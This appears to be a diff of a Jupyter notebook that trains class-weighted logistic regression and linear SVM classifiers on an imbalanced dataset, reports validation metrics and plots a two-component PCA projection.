= [b for a,b in zip(mask, X.columns) if a]\n", + "selected_feats_dt" + ] + }, + { + "cell_type": "code", + "execution_count": 86, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "((7920, 10), (1080, 10), (1000, 10))" + ] + }, + "execution_count": 86, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "selected_cat_vars = [x for x in selected_feats if x in cat_vars]\n", + "selected_cont_vars = [x for x in selected_feats if x in cont_vars]\n", + "# Using categorical features and scaled numerical features\n", + "X_train = np.concatenate((dc_train[selected_cat_vars].values, sc_X_train[selected_cont_vars].values), axis=1)\n", + "X_val = np.concatenate((dc_val[selected_cat_vars].values, sc_X_val[selected_cont_vars].values), axis=1)\n", + "X_test = np.concatenate((dc_test[selected_cat_vars].values, sc_X_test[selected_cont_vars].values), axis=1)\n", + "# print the shapes\n", + "X_train.shape, X_val.shape, X_test.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 58, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "{0: 1.0, 1: 3.925373134328358}" + ] + }, + "execution_count": 58, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Obtaining class weights based on the class samples imbalance ratio\n", + "_, num_samples = np.unique(y_train, return_counts=True)\n", + "weights = np.max(num_samples)/num_samples\n", + "# Define weight dictionnary\n", + "weights_dict = dict()\n", + "class_labels = [0,1]\n", + "# Weights associated with classes\n", + "for a,b in zip(class_labels,weights):\n", + " weights_dict[a] = b\n", + "\n", + "weights_dict" + ] + }, + { + "cell_type": "code", + "execution_count": 59, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "LogisticRegression(class_weight={0: 1.0, 1: 3.925373134328358}, n_jobs=-1)" + ] + }, + "execution_count": 59, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "# Defining model\n", + "lr = LogisticRegression(C=1.0, penalty='l2', class_weight=weights_dict, n_jobs=-1)\n", + "# train\n", + "lr.fit(X_train, y_train)" + ] + }, + { + "cell_type": "code", + "execution_count": 60, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Confusion Matrix: \n", + "[[590 252]\n", + " [ 71 167]]\n", + "Area Under Curve: 0.7011966306712709\n", + "Recall score: 0.7016806722689075\n", + "Classification report: \n", + " precision recall f1-score support\n", + "\n", + " 0 0.89 0.70 0.79 842\n", + " 1 0.40 0.70 0.51 238\n", + "\n", + " accuracy 0.70 1080\n", + " macro avg 0.65 0.70 0.65 1080\n", + "weighted avg 0.78 0.70 0.72 1080\n", + "\n" + ] + } + ], + "source": [ + "print(f'Confusion Matrix: \\n{confusion_matrix(y_val, lr.predict(X_val))}')\n", + "print(f'Area Under Curve: {roc_auc_score(y_val, lr.predict(X_val))}')\n", + "print(f'Recall score: {recall_score(y_val,lr.predict(X_val))}')\n", + "print(f'Classification report: \\n{classification_report(y_val,lr.predict(X_val))}')" + ] + }, + { + "cell_type": "code", + "execution_count": 61, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "SVC(class_weight={0: 1.0, 1: 3.925373134328358}, kernel='linear')" + ] + }, + "execution_count": 61, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "svm = SVC(C=1.0, kernel=\"linear\", class_weight=weights_dict)\n", + "svm.fit(X_train, y_train)" + ] + }, + { + "cell_type": "code", + "execution_count": 62, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Confusion Matrix: [[590 252]\n", + " [ 71 167]]\n", + "Area Under Curve: 0.7011966306712709\n", + "Recall score: 0.7016806722689075\n", + "Classification report: \n", + " precision recall f1-score support\n", + "\n", + " 0 0.89 0.70 0.79 842\n", + " 1 0.40 0.70 0.51 238\n", + "\n", + " accuracy 0.70 1080\n", + " macro avg 0.65 0.70 0.65 1080\n", + "weighted avg 0.78 0.70 0.72 1080\n", + "\n" + ] + } + ], + "source": [ + "# Validation metrics\n", + "print(f'Confusion Matrix: {confusion_matrix(y_val, lr.predict(X_val))}')\n", + "print(f'Area Under Curve: {roc_auc_score(y_val, lr.predict(X_val))}')\n", + "print(f'Recall score: {recall_score(y_val,lr.predict(X_val))}')\n", + "print(f'Classification report: \\n{classification_report(y_val,lr.predict(X_val))}')" + ] + }, + { + "cell_type": "code", + "execution_count": 63, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "((7920, 2), (7920,))" + ] + }, + "execution_count": 63, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "pca = PCA(n_components=2)\n", + "# Transforming the dataset using PCA\n", + "X_pca = pca.fit_transform(X_train)\n", + "y = y_train\n", + "X_pca.shape, y.shape" + ] + }, + { + "cell_type": "code", + "execution_count": 64, + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "LogisticRegression(class_weight={0: 1.0, 1: 3.925373134328358}, n_jobs=-1)" + ] + }, + "execution_count": 64, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "SVC(class_weight={0: 1.0, 1: 3.925373134328358}, kernel='linear')" + ] + }, + "execution_count": 64, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 64, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 64, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "" + ] + }, + "execution_count": 64, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "text/plain": [ + "Text(0.5, 1.0, 'Linear models - LogReg and SVM')" + ] + }, + "execution_count": 64, + "metadata": {}, + "output_type": "execute_result" + }, + { + "data": { + "image/png": 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